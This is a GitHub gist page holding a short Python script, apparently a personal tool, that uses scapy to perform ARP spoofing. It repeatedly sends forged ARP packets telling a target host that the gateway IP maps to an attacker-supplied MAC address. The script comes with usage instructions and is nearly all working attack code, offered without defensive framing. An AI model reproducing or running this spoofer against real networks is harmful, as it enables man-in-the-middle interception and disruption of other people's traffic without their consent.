Skip to content

Instantly share code, notes, and snippets.

@xaitax
Created February 1, 2015 13:39
Show Gist options
  • Save xaitax/5439bfbd41eda804f8c0 to your computer and use it in GitHub Desktop.
Save xaitax/5439bfbd41eda804f8c0 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import logging
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 5:
print ''
print 'arp.py Alexander Hagenah - ah@primepage.de'
print ''
print 'Usage: ./arp.py <interface> <gateway_ip> <gateway_mac> <target_ip>'
print 'Example: ./arp.py wlan0 192.168.1.1 DE:AD:BE:EF:CA:FE 192.168.1.23'
print ''
sys.exit(1)
from scapy.all import *;
from time import sleep;
interface = sys.argv[1]
gateway_ip = sys.argv[2]
gateway_mac = sys.argv[3]
target_ip = sys.argv[4]
packet = ARP();
packet.psrc = gateway_ip
packet.hwsrc = gateway_mac
packet.pdst = target_ip
try:
while 1:
send(packet, iface=interface, verbose=1);
sleep(1);
except:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment